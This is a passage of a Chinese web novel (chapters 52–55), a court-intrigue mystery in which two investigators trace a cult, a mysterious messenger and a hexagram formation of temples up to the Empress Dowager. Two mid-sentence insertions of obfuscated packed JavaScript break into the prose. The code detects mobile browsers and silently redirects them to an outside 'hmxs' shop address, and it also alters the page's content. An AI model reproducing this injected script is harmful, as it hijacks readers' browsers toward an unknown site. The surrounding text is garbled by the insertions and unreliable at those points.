冲出甬道,冲出大门,石桥上的傀儡兵也失去了动力,纷纷散架。两条船还在岸边,众人跳上船,拼命划桨。 身后,地宫在崩塌,湖水翻涌,形成漩涡。他们拼命划船,终于冲出了湖泊,回到了暗河通道。 一路不停,直到回到清风观的暗道入口,爬出废墟,回到地面,众人才停下来喘息。 回头望去,整个清风观废墟又下沉了数尺,地面出现了一个巨大的凹陷。地宫,彻底毁了。 天边,已经泛起了鱼肚白。 “结束了?”江清砚靠在谢云辞怀里,疲惫地问。 “至少这个据点结束了,”谢云辞看着天边的曙光,“但‘烛龙之眼’还在。玄机道人死了,还会有其他人。” “那就继续查,”江清砚闭上眼睛,“直到把他们连根拔起。” “嗯,继续查。” 晨光渐亮,新的一天开始了。 但暗处的斗争,还远未结束。 53. 第 53 章 第五十三章神秘人现身 九月二十,秋雨绵绵。 谢府书房内,江清砚站在窗前,看着檐下淅淅沥沥的雨帘。距离清风观地宫崩塌已过去三日,这几日京城表面上风平浪静,但他知道,暗流从未停歇。 “大人,陈七回来了。”门外传来亲卫的声音。 谢云辞放下手中的卷宗:“让他进来。” 陈七推门而入,身上还带着雨水的湿气。他行了礼,神色凝重:“大人,江郎中,地宫废墟已经清理出来了。在里面……发现了二十七具尸骸。” “二十七具?”谢云辞皱眉。 “对,都是最近几年的失踪者,除了那七个富商和赵四,”陈七递上一份名单,“我们根据尸骸上的衣物和随身物品,初步辨认出了十五人的身份,剩下的还在查。” 江清砚接过名单,目光扫过那些名字。有商人,有书生,有工匠,甚至有两位低品官员。看似毫无关联,但他们的失踪时间,都集中在每月的十五——月圆之夜。 “月圆之夜……”他喃喃道。 “据幸存的信徒说,”陈七继续禀报,“‘烛龙之眼’每月十五都会举行祭祀,需要‘祭品’。祭品被带入地宫,献祭给‘圣眼’,然后……”他顿了顿,声音有些发颤,“然后他们的精气会被吸干,变成干尸。” 书房内的气氛骤然凝重。 “玄机道人的尸体找到了吗?”谢云辞问。 “找到了,被压在祭坛下,已经确认死亡,”陈七说,“但在他身上,发现了一件东西。” 他从怀中取出一个油布包,小心打开。里面是一枚令牌——玄铁打造,正面雕刻着一只燃烧的眼睛,背面是两个字:“玄机”。 “这是‘烛龙之眼’高层的身份令牌,”陈七说,“据俘虏的信徒交代,这样的令牌共有八枚,对应‘八大护法’。玄机道人是京城地区的护法,其他七人,分散在各地。” 八大护法…… 江清砚和谢云辞对视一眼。一个玄机道人就如此难缠,如果还有七个,那这个组织的势力,恐怕比他们想象的更庞大。 “还有,”陈七压低声音,“在清理地宫时,我们发现了一条密道,不是通往地下河,而是……通往宫中。” “什么?!”谢云辞猛地站起。 “密道很深,走了约三里,尽头是一堵墙,墙后应该是宫内的某处,”陈七的神色极其严肃,“我们没敢再挖,怕打草惊蛇。” 宫中……江清砚想起林远供出的那个太监。如果“烛龙之眼”真的有密道直通皇宫,那宫内的渗透,恐怕已经深入骨髓了。 “此事必须立刻禀报陛下,”谢云辞当机立断,“陈七,你带人守着那条密道,不许任何人靠近。我这就进宫。” “等等,”江清砚叫住他,“这个时辰,陛下应该在早朝。而且……”他顿了顿,“你直接去说,恐怕会惊动宫中可能存在的眼线。” 谢云辞明白他的顾虑。如果宫中真有“烛龙之眼”的人,贸然禀报,可能会让那些人提前警觉,甚至销毁证据。 “那你的意思是……” “用密折,”江清砚走到书案前,铺开纸笔,“我写一份详细的奏报,你通过六扇门的秘密渠道呈给陛下。这样更稳妥。” 谢云辞想了想,点头:“好。” 江清砚提笔疾书,将清风观地宫的发现、八大护法的存在、以及那条通往宫中的密道,一一写明。写完后,他用特制的药水在纸角画了一个眼睛图案——这是他和谢云辞约定的密信标记,只有陛下和周尚书知道。 信密封好,谢云辞唤来一个信得过的亲卫:“立刻送到老地方,加急。” “是。” 亲卫离开后,书房里又恢复了安静。雨还在下,敲打着窗棂,如同某种不安的鼓点。 “清砚,”谢云辞忽然开口,“如果宫中真的……” “那就查,”江清砚的声音很平静,“无论牵扯到谁,都要查到底。” “可如果是……”谢云辞没有说完,但江清砚懂。 如果是太后,是三皇子,甚至是陛下身边最亲近的人呢? “那也要查,”江清砚看着他,“陛下将龙影令交给你,就是将清查奸邪的重任交给了我们。我们不能因为对方位高权重,就退缩。” 谢云辞看着江清砚清澈而坚定的眼睛,心中的疑虑渐渐消散。是啊,如果因为畏惧权势就放弃追查,那他们和那些蝇营狗苟的官员又有什么区别? “你说得对,”他握住江清砚的手,“无论面对什么,我们都一起。” 掌心传来的温度,让江清砚的心安定下来。他微微一笑,正要说什么,门外突然传来急促的脚步声。 “大人!有人送来了这个!” 一个亲卫冲进来,手中捧着一个木盒。木盒很普通,没有锁,但盒盖上贴着一张纸条:“江郎中亲启”。 江清砚和谢云辞对视一眼,后者立刻示意亲卫退下,然后亲自检查木盒。确认没有机关后,才小心打开。 盒子里只有两样东西:一枚铜钱,和一张字条。 铜钱和之前发现的那枚一模一样,边缘刻着眼睛图腾。字条上只有一行字: “今夜子时,慈恩寺废墟,独自前来。欲知谢家兵符下落,勿带他人。” 落款处,画着一个简笔的龙形图案——不是“烛龙之眼”的眼睛图腾,而是一条盘旋的龙。 “这是……”江清砚皱眉。 “龙影卫的标记,”谢云辞脸色微变,“这是陛下直属的暗卫组织,连我都只闻其名,从未见过。” 龙影卫?陛下的人? “可信吗?”江清砚问。 “龙影卫的标记无法伪造,”谢云辞盯着那个图案,“但如果真是陛下的人,为什么要用这种方式联系我们?而且……”他拿起那枚铜钱,“这又是‘烛龙之眼’的信物。两者怎么会在一起?” 事情越来越扑朔迷离了。 江清砚沉思片刻:“无论真假,今夜都得去。如果是陷阱,我们就将计就计;如果是真的……那谢家兵符的下落,就有着落了。” “太危险了,”谢云辞反对,“慈恩寺废墟现在是是非之地,周围肯定有各方势力的眼线。你一个人去,我不放心。” “对方说‘独自前来’,但没说‘独自离开’,”江清砚眼中闪过一丝狡黠,“你可以带人在外围接应,一旦有变,立刻支援。” 谢云辞还想说什么,但知道劝不住,最终妥协:“好。但你要答应我,一旦发现不对,立刻发信号。我会带人冲进去。” “嗯。” 接下来的半天,两人都在做准备。江清砚检查了随身携带的毒粉、解药和暗器,又特制了几种新的防身药物。谢云辞则调集了最精锐的人手,在慈恩寺周围布下天罗地网。 酉时三刻,天色已暗。雨停了,但云层很厚,月光时隐时现。 江清砚换上一身深蓝色劲装,外面罩着披风,看起来像是夜行的侠客。他将匕首藏在袖中,毒粉藏在腰带夹层,又戴上了谢云辞给的那枚护身玉佩。 “小心。”谢云辞为他系好披风,动作轻柔,眼神却凝重如铁。 “你也是,”江清砚看着他,“别冲动,等我信号。” 两人在书房门口分开。江清砚上了一辆不起眼的马车,谢云辞则带着人,从另一条路赶往慈恩寺。 慈恩寺废墟在夜色中如同巨兽的骨骸。大火烧毁了大半建筑,剩下的断壁残垣在月光下投出狰狞的影子。江清砚在寺外下车,示意车夫离开,然后独自走向废墟。 踏入寺门的瞬间,一股焦糊混合着血腥的气味扑面而来。这里虽然清理过,但那股死亡的气息,依然萦绕不散。 他按照字条上的指示,走向原本大雄宝殿的位置。殿已塌,只剩几根焦黑的柱子立着。月光从云缝中漏下,照在废墟中央,那里站着一个人。 那人背对着他,身穿黑色斗篷,身形高大,站姿笔挺,如同标枪。听到脚步声,他缓缓转过身。 斗篷的兜帽遮住了大半张脸,只能看到下巴和嘴唇。但从身形和站姿判断,此人年纪不小,而且久居上位,气势逼人。 “江郎中果然守时。”那人的声音低沉沙哑,显然是经过伪装的。 “阁下约我来,不知有何指教?”江清砚停在三丈外,手按在袖中的匕首上。 “谢家兵符的下落,”黑衣人开门见山,“我知道在哪。” “条件是什么?” “聪明,”黑衣人似乎笑了一声,“条件很简单:你帮我做一件事,我告诉你兵符的下落。” “什么事?” 黑衣人从怀中取出一卷帛书,扔到江清砚脚前:“这上面列着三个名字。我要你在一个月内,让这三个人……消失。” 江清砚没有去捡帛书:“杀人?” “不一定是杀人,”黑衣人的声音平静得可怕,“可以是贬官,可以是流放,可以是意外……只要他们从朝堂上消失,不再碍事就行。” “我为什么要帮你做这种事?” “因为,”黑衣人缓缓道,“这三个人的存在,阻碍了陛下清理‘烛龙之眼’。他们或是被收买,或是被胁迫,成了‘烛龙之眼’在朝中的保护伞。除掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863529|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们,才能让陛下放手去查。” 江清砚心中一动。这个理由,听起来很合理。如果真是这样,那他确实应该帮忙。但…… “既然是陛下的意思,为什么陛下不直接下旨处置?”他问。 黑衣人沉默片刻:“因为证据不足。这三个人都很狡猾,没有留下把柄。而且他们在朝中根基很深,轻易动不得。所以需要……特别的手段。” 听起来合情合理,但江清砚总觉得哪里不对。 “那谢家兵符……” “事成之后,我自会告诉你,”黑衣人说,“你可以选择信,也可以选择不信。但你要知道,谢家兵符不仅关系到谢家血案的真相,还关系到‘烛龙眠息之地’的秘密。没有兵符,你们永远无法打开那扇门。” 最后一句话,击中了江清砚的软肋。 他深吸一口气,弯腰捡起帛书。展开一看,上面果然写着三个名字——都是朝中重臣,一位是户部侍郎,一位是都察院副都御史,还有一位是……太常寺卿。 这三个人,他都听说过。户部侍郎张俭,是出了名的清官;都察院副都御史王诚,以刚正不阿著称;太常寺卿李墨,是当世大儒,门生遍布朝野。 这样的人,会是“烛龙之眼”的保护伞? “我怎么知道你说的是真是假?”江清砚收起帛书。 “你可以去查,”黑衣人道,“但不要打草惊蛇。我给你一个月时间,一个月后,我们在这里再见。届时,我会告诉你兵符的下落。” 说完,他转身就要走。 “等等,”江清砚叫住他,“你到底是什么人?龙影卫?” 黑衣人停住脚步,却没有回头:“你不需要知道我是谁。你只需要知道,我们暂时是盟友,就够了。” 话音落下,他的身形忽然如鬼魅般飘起,几个起落就消失在废墟深处。 江清砚站在原地,握着那卷帛书,心中思绪万千。这个人神秘莫测,说的话半真半假,但关于谢家兵符的信息,很可能不是假的。 月光彻底隐入云层,四周一片漆黑。江清砚发信号给谢云辞,很快,谢云辞就带着人赶到了。 “怎么样?”谢云辞紧张地检查他有没有受伤。 “没事,”江清砚将帛书递给他,“你看这个。” 谢云辞接过一看,脸色骤变:“张俭、王诚、李墨?这三个人……” “你认识?” “何止认识,”谢云辞的声音低沉,“张俭是我父亲的老部下,我父亲死后,他一直暗中照顾我;王诚曾弹劾过三皇子,差点被贬;李墨……他是太后的老师。” 江清砚愣住了。 父亲的旧部,弹劾三皇子的人,太后的老师……这三个人,怎么看都不像是“烛龙之眼”的保护伞。 “那黑衣人撒谎?”他问。 “不一定,”谢云辞收起帛书,神色凝重,“也许这三个人,确实知道些什么,或者……掌握了什么证据,但出于某种原因,不能或不敢说出来。黑衣人想让我们逼他们开口,或者……灭口。” “那我们……” “查,”谢云辞眼中闪过寒光,“但不是按照黑衣人的方式查。我们要查清楚,这三个人到底知道什么,为什么会成为目标。” 两人回到谢府时,已是丑时。 书房里,蜡烛又换了一轮。江清砚将那枚铜钱放在桌上,和之前那枚并排——一模一样,边缘的眼睛图腾如同嘲讽的眼睛,冷冷地看着他们。 “黑衣人故意给了我们这枚铜钱,”江清砚分析,“是想告诉我们,他和‘烛龙之眼’有关联,但又不是完全一路人。” “或者,是想混淆视听,”谢云辞说,“让我们分不清敌友。” 两人对着两枚铜钱,沉思良久。 忽然,江清砚拿起其中一枚,仔细看那个眼睛图腾。他记得第一次看到时,就觉得这个图案有些眼熟,但一直想不起在哪见过。 现在,在烛光下,他忽然发现了什么——那个眼睛的瞳孔部分,不是简单的圆形,而是由极细微的线条组成的……一个文字? 他拿来放大镜,对着瞳孔仔细看。果然,那些细微的线条,组成了一个古老的文字——“影”。 “影……”江清砚喃喃道,“龙影卫的影?” 谢云辞也凑过来看,脸色变了:“难道‘烛龙之眼’和龙影卫……有某种联系?” 如果真是这样,那事情就复杂了。 窗外,传来三更的梆子声。 夜还很长,谜团也越来越多。但有一点可以确定—— 这场游戏,才刚刚开始。 54. 第 54 章 第五十四章线索指向 晨光初露时,刑部衙门内已经忙碌起来。 江清砚穿过回廊,能感觉到周围的目光比往日更加复杂。清风观地宫的事虽然被压下了,但天下没有不透风的墙,刑部里已经有人在私下议论,说江郎中不只会查案,还会拆庙。 他没理会那些目光,径直走向周尚书的值房。推开门,周文渊已经在里面了,正对着一叠卷宗沉思。 “江郎中来了,”周文渊抬起头,神色有些疲惫,“坐。陛下看了你的密折,很重视。关于那条通往宫中的密道……” “陛下怎么说?”江清砚在对面坐下。 “陛下命龙影卫暗中调查,”周文渊压低声音,“但此事关系重大,陛下要求我们暂时不要声张,继续按照原计划查‘烛龙之眼’。” 江清砚点头。这是稳妥的做法。 “另外,”周文渊从抽屉里取出一份卷宗,“你看看这个。是陈文远生前最后处理的案子。” 江清砚接过翻开。这是一起“官员自缢案”,死者是工部的一名主事,名叫孙平。卷宗记录很简单:孙平在家中书房自缢身亡,留下遗书称“愧对朝廷,无颜苟活”。家人证实他最近情绪低落,常念叨“做错了事”。案子就以自杀结了。 但陈文远在卷宗上做了批注:“疑点有三:其一,孙平死前三天还在酒馆与人饮酒作乐,不似寻死之人;其二,遗书笔迹虽有八分像,但‘愧’字写法与平日习惯不同;其三,孙平颈部的勒痕角度有异,不似自缢。” “陈侍郎怀疑是他杀?”江清砚问。 “嗯,他私下派人查过,发现孙平死前曾与慈恩寺的一个和尚有过接触,”周文渊神色凝重,“但还没查清楚,陈侍郎就……” 就死了。 江清砚翻到卷宗最后,看到陈文远用朱笔写的一行小字:“孙平曾参与慈恩寺扩建审核,知某些内情?” 慈恩寺扩建……又是慈恩寺。 “这个孙平,我好像有点印象,”江清砚努力回忆,“他是不是负责过京城几处寺庙道观的修缮审核?” “对,”周文渊点头,“工部营造司的主事,京城大小寺庙道观但凡要动土,都要经过他审核。慈恩寺、清风观,还有城西的土地庙,他都经手过。” 江清砚的心跳加快了。如果孙平之死不是自杀,那很可能是被灭口——因为他知道这些地方扩建时隐藏的秘密。 “这个案子,我想接着查。”江清砚说。 “可以,”周文渊点头,“但要注意分寸。孙平虽然官职不高,但在工部多年,人脉很广。查他的死因,可能会触及某些人的利益。” “下官明白。” 离开周尚书的值房,江清砚回到自己的值房,将孙平案的卷宗仔细看了一遍。然后又调来了孙平经手过的所有工程记录。 这一看,就是一上午。 午时,王书吏送饭进来时,江清砚正对着一张京城地图,上面标着几个红点——慈恩寺、清风观、土地庙,还有另外三处寺庙。 “江郎中,您这是……”王书吏看着地图,眼神闪烁。 “随便看看,”江清砚收起地图,若无其事地问,“王书吏在刑部多年,对工部的案子熟吗?” 王书吏的手微微一抖,但很快恢复平静:“略有耳闻。工部的案子多是工程贪腐、以次充好之类,与刑部交集不多。” “孙平这个人,你听说过吗?” “孙主事?”王书吏神色如常,“听说过,是个老实人,在工部待了二十年,没出过什么大错。可惜了,想不开自缢了。” “你相信他是自缢?”江清砚抬眼看他。 王书吏避开他的目光:“这个……下官不敢妄议。” 江清砚没再追问,挥挥手让他退下了。门关上后,他重新摊开地图。六个红点,六个寺庙道观,都是孙平经手过扩建或修缮的。如果把这些点连起来…… 他拿出尺子和笔,开始连线。六个点,可以连出多条线,但有一条线,让江清砚停下了笔——六个点,正好组成一个六芒星的图案! 六芒星,在玄学中代表平衡和封印。 而这六个点,在京城地图上的分布,恰好将皇城围在中心。 这不是巧合。 江清砚感到一股寒意从脊背升起。如果这六个寺庙道观是六个“节点”,组成一个巨大的六芒星阵,那这个阵法的作用是什么?封印?还是……监视? 他想起清风观地宫中那个能吸收人精气的“圣眼”。如果每个节点都有类似的东西,那这个阵法可能是在持续抽取某种能量,输送到某个中心点。 那个中心点……是皇城? 江清砚不敢再想下去。他迅速将地图收好,开始整理孙平案的疑点。下午,他要去一趟工部,查孙平生前的工作记录。 未时三刻,江清砚来到工部衙门。工部尚书不在,由一位侍郎接待。听说江清砚要查孙平的记录,那侍郎神色有些不自然,但碍于刑部的面子,还是让人取来了。 孙平的工作记录很详细,但江清砚注意到,关于慈恩寺、清风观等几处寺庙的扩建审核,记录都很简略,甚至有几处明显被涂改过。 “这些涂改……”江清砚指着记录问。 侍郎擦了擦汗:“这个……可能是孙主事自己改的,或者……誊抄时出了错。” “我想见见当年参与这些工程的人,”江清砚说,“工匠、监工、材料供应商,都行。” 侍郎的脸色更难看了:“江郎中,这些工程都是好几年前的事了,那些人早就散了,不好找啊。” “那就麻烦侍郎大人帮忙找找,”江清砚的声音平静,却带着不容拒绝的意味,“孙平死得蹊跷,他的案子现在由刑部接管。工部有义务配合调查。” 侍郎张了张嘴,最终颓然点头:“是,下官尽力。” 离开工部时,天色已近黄昏。江清砚没有直接回刑部,而是让马车拐去西市——那里是京城工匠聚集的地方。 他在一家铁匠铺前下车。铺子里叮叮当当的打铁声不绝于耳,一个光着膀子的壮汉正在锻打一块烧红的铁块。 “这位爷,打点什么?”伙计迎上来。 “我找金掌柜,”江清砚亮出那枚特殊的铜钱,“就说姓江的求见。” 伙计看到铜钱,脸色微变,恭敬道:“您稍等。” 片刻后,伙计引着江清砚穿过铺子,来到后院。院子里,一个五十多岁、面容精瘦的老者正在喝茶,正是聚宝当铺的金掌柜。 “江公子,”金掌柜起身行礼,“您终于来了。” “金掌柜认识我?”江清砚问。 “江老爷生前吩咐过,若有一天,有人持此铜钱来找我,便是江家后人,”金掌柜请江清砚坐下,倒了茶,“老朽等了十年,终于等到您了。” 江清砚心中一酸。父亲生前,竟然还为他安排了后路。 “金掌柜,我这次来,是想打听一些事,”江清砚取出那张标着六个红点的地图,“这几个寺庙道观的扩建工程,您知道吗?” 金掌柜看着地图,神色渐渐凝重:“江公子,您怎么查到这些的?” “孙平的死,可能与此有关。” 金掌柜沉默良久,缓缓道:“这些工程……老朽确实知道一些。当年,这些工程的材料采购,有一部分是通过聚宝当铺的渠道走的。但老朽发现,那些材料……有问题。” “什么问题?” “表面是普通的木材砖石,但里面掺了别的东西,”金掌柜压低声音,“有些木料是阴木——在坟地生长的树木;有些砖石是从古墓挖出来的;还有一些……是刻了符咒的。” 江清砚的心沉了下去。果然如此。 “这些工程,是谁负责采购的?”他问。 “是一个叫‘福源商行’的商户,”金掌柜说,“但老朽查过,这个商行只是个幌子,真正的背后,是宫里的某位贵人。” “宫里?”江清砚的手微微一颤。 “对,”金掌柜的声音更低了,“老朽不敢深查,只隐约听说,那位贵人……信佛信道,常捐钱修缮寺庙。但这些工程,明显不是为了修缮,而是在布阵。” 布阵……六芒星阵。 “金掌柜,您能帮我找到当年参与这些工程的工匠吗?”江清砚问,“尤其是知道内情的。” 金掌柜犹豫片刻,最终点头:“老朽尽力。但江公子,您要小心。这件事水太深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863530|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵扯的人……位高权重。” “我知道,”江清砚起身行礼,“谢金掌柜。” “江公子客气了,”金掌柜还礼,“老朽受江老爷大恩,无以为报。能为您做些事,是应该的。” 离开铁匠铺时,天色已经完全暗了。街上的灯笼次第亮起,将青石板路照得朦胧。 江清砚坐在马车里,脑中思绪万千。六芒星阵,宫中贵人,孙平之死,陈文远之死……这一切,都指向一个令人不安的方向。 回到谢府时,谢云辞已经回来了,正在书房里等他。 “怎么样?”谢云辞问。 江清砚将今日的发现一一说了。听到六芒星阵和宫中贵人时,谢云辞的脸色变得极其难看。 “如果真是这样……”他握紧拳头,“那‘烛龙之眼’的幕后主使,可能就在宫中,甚至可能是……” 他没有说完,但江清砚懂。 可能是太后,可能是三皇子,甚至可能是……陛下? “不会的,”江清砚摇头,“陛下如果真是幕后主使,何必让我们去查‘烛龙之眼’?又何必给我龙影令?” “也许是为了洗清嫌疑,或者……让我们查错方向?”谢云辞的声音带着不确定。 两人陷入沉默。如果连陛下都不可信,那他们还能信谁? 就在这时,窗外突然传来一声轻响。谢云辞立刻拔刀,江清砚也握住了袖中的匕首。 但窗外没有人。只有一支箭钉在窗棂上,箭上绑着一封信。 谢云辞警惕地取下信,检查无误后打开。信很短,只有一行字: “六芒星阵乃封印之阵,非害人之阵。阵法中心在太液池下。欲知真相,可查工部旧档‘太液池疏浚记’。” 落款处,画着一条盘旋的龙——和昨夜黑衣人的标记一样。 “又是他……”江清砚皱眉。 “封印之阵?”谢云辞盯着那行字,“如果真是封印之阵,那封印的是什么?为什么要用六个寺庙作为节点?” “太液池下……”江清砚想起太液池是皇宫内苑的湖泊,陛下和嫔妃常在那里游船,“如果中心在那里,那布阵的人……” “只有宫里的人能做到,”谢云辞接口,“而且必须是能自由出入内苑,且有权力调动工部的人。” 两人对视一眼,都想到了同一个人——太后。 太后信佛,常捐钱修庙,这是人尽皆知的事。而且太后掌管内宫,有权力在太液池动工。更重要的是,太后是三皇子的生母,如果她真的与“烛龙之眼”有关,那三皇子在其中的角色,就值得深思了。 “明天我去工部,调‘太液池疏浚记’的旧档,”江清砚说,“如果真是太后……” “先别下定论,”谢云辞打断他,“也可能是有人想嫁祸太后。毕竟太后与陛下……关系微妙。” 陛下并非太后亲生,这一点朝野皆知。这些年,太后一系与陛下之间,确实有诸多明争暗斗。 “那黑衣人到底是谁?为什么要帮我们?”江清砚困惑道。 “也许不是帮我们,而是在利用我们达成某个目的,”谢云辞分析,“他给的信息半真半假,让我们自己去查,既能借我们的手揭开真相,又能撇清自己的关系。” “那我们还查不查?” “查,”谢云辞眼神坚定,“但不是被他牵着鼻子查。我们要查清楚,这六芒星阵到底是什么,封印的又是什么。至于太后……没有确凿证据前,不要妄下定论。” 江清砚点头。这才是谨慎的做法。 夜深了,书房里的烛火跳动。 江清砚看着窗外沉沉的夜色,忽然道:“云辞,如果……我是说如果,最后查出来的真相,是我们无法承受的,怎么办?” 谢云辞走到他身边,握住他的手:“那就一起承受。无论真相是什么,无论面对谁,我们都一起。” 掌心传来的温暖,驱散了江清砚心中的寒意。他转头看向谢云辞,那双眼睛在烛光下清澈而坚定,如同夜空中最亮的星辰。 “嗯,一起。”他轻声说。 窗外,秋风萧瑟。 但屋内,暖意融融。 前路虽险,但并肩同行,便无所畏惧 55. 第 55 章 第五十五章御前陈情 九月二十一,大朝。 天还未亮,午门外已聚集了百官。秋日的晨风寒冽,吹得官袍猎猎作响,但没人敢抱怨,都肃立等待着宫门开启。 江清砚站在文官队列的末尾——他虽是刑部郎中,但资历尚浅,排在许多老臣之后。谢云辞则在另一侧的武官队列中,两人隔着人群,目光偶尔交汇,都看到彼此眼中的凝重。 今日大朝,必不平静。 昨夜工部旧档“太液池疏浚记”的发现,如同投入平静湖面的巨石,激起的涟漪已经扩散开来。今晨寅时,周尚书紧急入宫面圣,出来后只对江清砚说了一句:“今日大朝,你要有准备。” 准备什么?周尚书没说,但江清砚能猜到。 钟鼓齐鸣,宫门缓缓开启。百官鱼贯而入,沿着御道走向奉天殿。晨光初露,宫墙上的琉璃瓦泛着金光,但整座皇城却笼罩在一股无形的肃杀之气中。 奉天殿内,皇帝已高坐龙椅,冕旒垂面,看不清神色。百官山呼万岁,行礼如仪,但许多敏锐的大臣已经察觉到气氛的异样——今日陛下身边站着的,除了常侍太监,还有四位龙影卫,个个面色冷峻,手按刀柄。 “有本启奏,无本退朝。”司礼太监尖细的声音在殿内回荡。 短暂的寂静后,工部尚书出列:“臣有本奏。昨日刑部郎中江清砚,持刑部公文至工部,调阅‘太液池疏浚记’旧档。此档涉及内宫工程,按律应由内务府保管,工部无权调阅。江郎中此举,有违规制,请陛下明察。” 话音刚落,许多目光齐刷刷投向江清砚。有审视,有不解,也有幸灾乐祸。 江清砚面色平静,出列行礼:“陛下,臣调阅旧档,乃因查案所需。工部孙平之死,与多年前太液池疏浚工程有关,臣为查明真相,不得已而为之。” “查案?”工部尚书冷笑,“孙平是自杀,案子已经结了。江郎中翻旧案,是何居心?” “孙平死因存疑,陈文远侍郎生前已有批注,”江清砚不卑不亢,“臣接手此案,自当查个水落石出。若工部觉得臣违了规制,臣愿领罚。但案子,必须查下去。” “你——”工部尚书气得胡须颤抖。 “够了。”皇帝的声音不高,却让整个大殿瞬间安静。 龙椅上,皇帝缓缓抬手,示意江清砚和工部尚书归列。然后,他的目光扫过百官,最终落在江清砚身上:“江清砚,你说孙平之死与太液池疏浚有关。有何证据?” 江清砚再次出列,从袖中取出一份奏折:“陛下,这是臣昨夜整理的奏报。太液池疏浚工程于七年前开始,历时三年,耗银三十万两。但据工部记录,实际疏浚的土方量,远少于申报的工程量。多出的款项,去向不明。” 他顿了顿,继续道:“而负责审核这项工程的,正是孙平。臣查过,工程期间,孙平家中突获巨款,来源不明。工程结束后不久,孙平就‘自缢’身亡。臣有理由怀疑,孙平是因为知道工程内情,被灭口。” 大殿内一片哗然。 三十万两!这可不是小数目。而且涉及内宫工程,若是贪腐,牵扯的人恐怕…… “江郎中可有证据证明款项去向?”皇帝的声音依旧平静。 “臣在孙平遗物中,找到一本私账,”江清砚又取出一本册子,“上面记录了部分款项的流向——通过‘福源商行’,流向了慈恩寺、清风观、土地庙等六处寺庙道观的扩建工程。” 慈恩寺!清风观! 这两个名字一出,许多大臣的脸色都变了。慈恩寺地宫的事虽然被压下,但朝中高层多少都听到了风声。 “而这六处寺庙道观,”江清砚提高声音,“在京城地图上的分布,恰好组成一个六芒星阵,阵法中心,正是太液池!” “轰——” 大殿彻底炸开了锅。六芒星阵,太液池,这已经不是简单的贪腐案了,而是涉及玄学、阵法,甚至可能……涉及巫蛊! “肃静!”司礼太监尖声喝道。 大殿渐渐安静下来,但所有人的目光都聚焦在江清砚身上。这个年轻的刑部郎中,今日是要捅破天啊。 皇帝沉默良久,缓缓道:“江清砚,你说六芒星阵,阵法中心在太液池。可有凭据?” “臣在工部旧档中,找到了当年疏浚工程的图纸,”江清砚呈上图纸,“图纸显示,疏浚时在太液池底埋设了大量特制的石桩,按照特定的方位排列。臣请教过精通玄学的学士,确认这是一个阵法的阵眼布置。” 图纸被太监呈上御案。皇帝看了片刻,忽然问:“江清砚,你可知这六芒星阵,是何用途?” 这个问题很关键。江清砚深吸一口气:“据臣查证,六芒星阵多为封印之用。此阵以六处寺庙为节点,以太液池为中心,可能是在封印……某种东西。” 他没有说“某人”,但所有人都听懂了。 封印在太液池下的,会是什么? 皇帝的手指在龙椅扶手上轻轻敲击,发出规律的轻响。每一声,都敲在百官的心上。 许久,皇帝开口:“传太后。” 三字一出,满殿皆惊。 太后虽然尊贵,但久居深宫,不问政事,陛下为何突然要在大朝上传太后? 很快,太后銮驾到了。六十余岁的太后身着凤袍,头戴金冠,虽然年纪大了,但气度雍容,不怒自威。她在御座旁设的凤椅上坐下,目光扫过大殿,最终落在江清砚身上。 “皇帝召本宫来,所为何事?”太后的声音平和,却带着不容置疑的威严。 皇帝站起身,走到御阶前,对着太后躬身一礼:“母后,今日大朝,刑部郎中江清砚奏报,七年前太液池疏浚工程涉嫌贪腐,且工程中暗设六芒星阵,阵法中心在太液池下。此事涉及内宫,儿臣不得不请母后来,问个明白。” 太后的脸色微不可察地变了变,但很快恢复平静:“太液池疏浚,是本宫当年提议的。太液池年久淤塞,水质浑浊,不利于宫中嫔妃康健。本宫命人疏浚,有何不妥?” “母后慈心,儿臣明白,”皇帝的语气依旧恭敬,“但疏浚工程耗银三十万两,实际工程量却不足一半。多出的款项,流向了六处寺庙道观的扩建。而这几处寺庙,恰好组成六芒星阵,中心在太液池。母后可否解释,这是为何?” 太后的手指在凤椅扶手上收紧,指节发白。她盯着皇帝,缓缓道:“皇帝这是在质问本宫?” “儿臣不敢,”皇帝垂眸,“但此事关系重大,涉及玄学阵法,儿臣不得不问清楚。毕竟……太液池在宫中,若真有什么阵法,恐危及宫闱安全。” 话说到这个份上,已经是剑拔弩张了。 大殿内落针可闻,所有人都屏住呼吸,看着这皇家母子之间的对峙。 太后沉默良久,忽然笑了:“皇帝多虑了。什么六芒星阵,本宫不懂。本宫只是信佛,见那几处寺庙破败,便捐钱修缮。至于太液池疏浚……可能是下面的人办事不力,虚报工程量,中饱私囊。皇帝该查的是工部那些贪官,而不是来质问本宫。” 这番话,将责任推得一干二净。 皇帝看着太后,眼神复杂。许久,他转身走回龙椅,坐下:“母后说得是。是儿臣考虑不周。”他看向江清砚,“江清砚,太后的话你听到了。太液池疏浚工程,是下面的人贪腐,与太后无关。你继续查,务必将涉案人员一网打尽。” “臣遵旨。”江清砚行礼,心中却是一沉。 陛下这是在……妥协? 退朝时,已是辰时三刻。 百官陆续退出奉天殿,个个神色凝重。今日这场大朝,表面上是陛下赢了——太后当众被质问,颜面受损。但实际上,太后轻描淡写就把责任推掉了,陛下也没有深究。 这其中的意味,耐人寻味。 江清砚走在人群中,谢云辞快步跟了上来,两人并肩而行,没有说话,但眼神交流间,已经明白了对方的意思。 